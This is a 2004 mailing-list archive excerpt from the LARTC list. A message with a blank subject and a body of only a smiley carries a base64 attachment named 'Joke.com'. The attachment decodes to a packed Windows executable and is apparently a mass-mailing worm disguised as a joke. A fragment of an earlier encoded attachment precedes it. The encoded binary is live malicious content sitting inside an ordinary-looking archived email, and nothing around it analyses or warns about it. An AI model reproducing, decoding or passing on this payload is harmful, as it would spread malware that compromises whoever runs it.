OBsy0Hx94IwsyIKqFfoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAIAAwAAACAAAIAOAAAAkAAAgAAAAAAAAAAAAAAAAAAAAgABAAAAQAAAgAIAAABoAACA
AAAAAAAAAAAAAAAAAAABAAAAAABYAAAA0PAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQAAAAAAgAAAALjzAAAoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAKgAAIAAAAAA
AAAAAAAAAAAAAAEAAAAAAMAAAADg9AAAIgAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAEAAAA
AAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAA
gICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/
/////3iIAAAAAAAAAI//d3d3d3d4iIgAAAAAAACP/3d3d3d3iIiAAAAAAAAACI//d3d3eIiA
AAAAAAAAAAAIiId3d4gAAAAAAAAAAAAAAAiIiIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACI
iIiIiIiIiIiIiIiIgAAAj3d3d3d3d3d3d3d3d4gAAI9///////////////eIgACPdERERERE
RERERET3iIAAj3DMzMzMAAAMzMzE94iAAI9wzMzMAHcMzMzMxPeIgACPcMzMwHdwzMzMzMT3
iIAAj3DMwAf/cMzMzMzE94iAAI9wgAd//3DMzMzMxPeIgACIiHf////3AAzMzMT3iIAAh///
/////3dwzMzE94iACH//////////9wzMxPeIgI////////////9wzMT3iICP//BwcHBwcHD/
cMzE94iAj///Dw8PDw8P/3DMxPeIgI////////////9wzMT3iICP//BwcHBw////cMzE94iA
j///Dw8PD////3AABPeIgAj///////////cIiIj3iIAAj/////////9wd3d3d4iAAAiI////
//eID/////+IgAAAh4iIiIiId3d3d3d3+IAAAAh3d3d3d3d3d3d3d3+AAAAAiIiIiIiIiIiI
iIiIgP+AAP/+AAA//AAAH/wAAB/+AAA//4AA///gA//gAAAHwAAAA8AAAAHAAAAAwAAAAMAA
AADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
gAAAAMAAAADgAAAA8AAAAPgAAAD8AAABKAAAABAAAAAgAAAAAQAEAAAAAACAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAA
AP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAACP93d3iIAAAAiPd3iAAAAAAAiIiAAAAAgA
AAAAAAAACHd3d3d3d4AI8MzADMxHgAjwwHDMzEeACIB/8MzMR4AI////cMxHgI//////DEeA
jwcHBw8MR4CP8PDw/wxHgAj////4iIeAAI//94d3d4AACIiIiIiIgOAH///AA///4Af///gf
//+AAf//gAD//4AA//+AAP//gAD//4AA//8AAP//AAD//wAA//+AAP//wAD//+AB//8AAAEA
AgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAUpJMVhonKlSRaiyZwnhRYLyGFj4urn+N
c6FVjJpyQMfCjm0PmL1uFnCMoMY0jxGUKUIKG6Ylukl8VJmxLIZhxKJLkX0YMS50f6srvMKe
AWFJj6typkijW0k5uypArDKFn71EE3sIUFhNCApVZZ5RozsOHXdpl2S8Ai1cKRk4hjM8KJC8
u3yqZDRKOSoNaYhsTS1YgWEPqcaYHjdIW7PAgi5mDQ8EdwCdkAk5AnZ8RiFsdRx7a0VHwqcK
iRmyY1xcAKRerhK0uWYxRaJioWwRsyUaa6qbtiBbXsdPsJyNhABqgrsefKBDFER9AjYlcYqC
M1ajHXBbCSu6GGTFMcQmNzgWQiRHtHQmZT5UusSiFwcofAqWacdVMF6DYZQgd6IBJ61Vij0X
gng4uMTHKS1ZS8ZTKkpwq0uMTbMuTyKDWHyZJLKtlIwkSSc=

----------ysovqiqdsfhkapnznvep--


From roy@xxx.lt  Mon Nov  8 09:07:56 2004
From: roy@xxx.lt (Roy)
Date: Mon, 08 Nov 2004 11:07:56 +0200
Subject: [LARTC] Re:
Message-ID: <cdcwpzxhwxxctlefdpl@mailman.ds9a.nl>

----------sutzdyqsmwtijssfpbhd
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
:)

<br>
</body></html>

----------sutzdyqsmwtijssfpbhd
Content-Type: application/octet-stream; name="Joke.com"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Joke.com"

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAAOgAAAEoAAAAAAAAAoAAA
ABAAAABQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAvUAAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAnKIAANEAAAAA8AAAAgUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABQAACwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAADoAAAAAAAC6OQAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAMAAAAAAAA8goAAABQAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAAMAAAAAAAAHU8AAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAKAAAABEAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAAgUAAADw
AAACBQAAAEYAAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOhvAgAA
6OsI6wLNIP8kJJpmvnJy6AEAAACaWY2VRiJAAOgBAAAAaVhmv3Nn6CoCAACNUvnoAQAAAOhb
aMz/4ppmZ2ZnZmhmZ2hmdXV5dXlpdWl1eWl1dWZuaGf/5Gn/pbIkQADp6J7////rAs0gi8Tr
As0ggQAWAAAAD4X0AQAAaegAAAAAWJlqFVqNBAJQ6MABAABmPYbzdAPpjZXoIkAA6LUBAADo
AQAAAGmDxASNvTclQAC5xT4AALqgE0Dvigf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrC
KsbSwNLIMsHTwogHR0l10ugBAAAA6IPEBA8L6CvSZIsCiyBkjwJYXcOai5WyJEAA6EkBAADo
AQAAAMeDxAS7JHoAAGoEaAAwAABTagD/lbYkQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QE
UI2VNyVAAFLoDgAAAOgBAAAAaYPEBFpeDlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAA
cxorwOhaAAAAcyBBsBDoUAAAABLAc/d1QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ
6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVzBoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLS
w+slNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP//
/3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUPOTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFp
WFj/4FlSVY2F2iJAAFArwGT/MGSJIOsDx4ToUcPrA8eEmllB6/AAAAAAAAAAAOCiAAAAAAAA
AAAAAPiiAADgogAA2KIAAAAAAAAAAAAABaMAANiiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFuj
AAAAAAAAEKMAACGjAAAwowAAPqMAAE2jAAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwA
AABHZXRQcm9jQWRkcmVzcwAAAExvYWRMaWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVh
bEFsbG9jAAAAVmlydHVhbEZyZWUAAABNZXNzYWdlQm94QQAAAAAAOOPsgmcZU9rvqSegZqhi
3GHFZPb1lPM0F85JitM9UFESsYF8QP/EiezhkOVdRRXCPcj/Im/5FKV1/mqpkw3yKvte95dg
yrd1XilACv8JupNPzsEIInl8wpYfM/uyzxJ5UCcGHYPA4trGBRuKJ9HMfRfp5oMoJmjokqGD
IT6M4CoueHICOjHBAtW3ZeSQ6aP9l9zd0k48/DcTSu1fEeiCOJL0d39g/xyab3CktnEkHUFT
CFzisjUEyJsg4LLn9YPllwezsmCH/FoLDp8ttt5rlq2cy18Y2O3lemS1iy+B35D9veT2X3ys
6mupMisPtw82NJQBvU4U30nV3kdI4KNtHjiz9AUOmU+oQYcw9M3v9pJHb2MNmFxxkYvyqDWc
e6RdxePV2t324hZBq8QYxv3max0++yYDcGkyACO8/G4KtSp3pWGzY1JcpBqpAbzhyP/ULnKA
z0+b3f/VkRjRxB2PmaEIWHRwGhBrg0Uw0PSJe8Yg0h/2VmzAKy5oXOlQFRj8Zsw4db79HYlW
Pr9+CuuEJTjld0kFDMxhu9qwrqoSyHV8udPRW1idiK0838ZRLmgqA95Jliqzqa8fl8gTLxr+
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
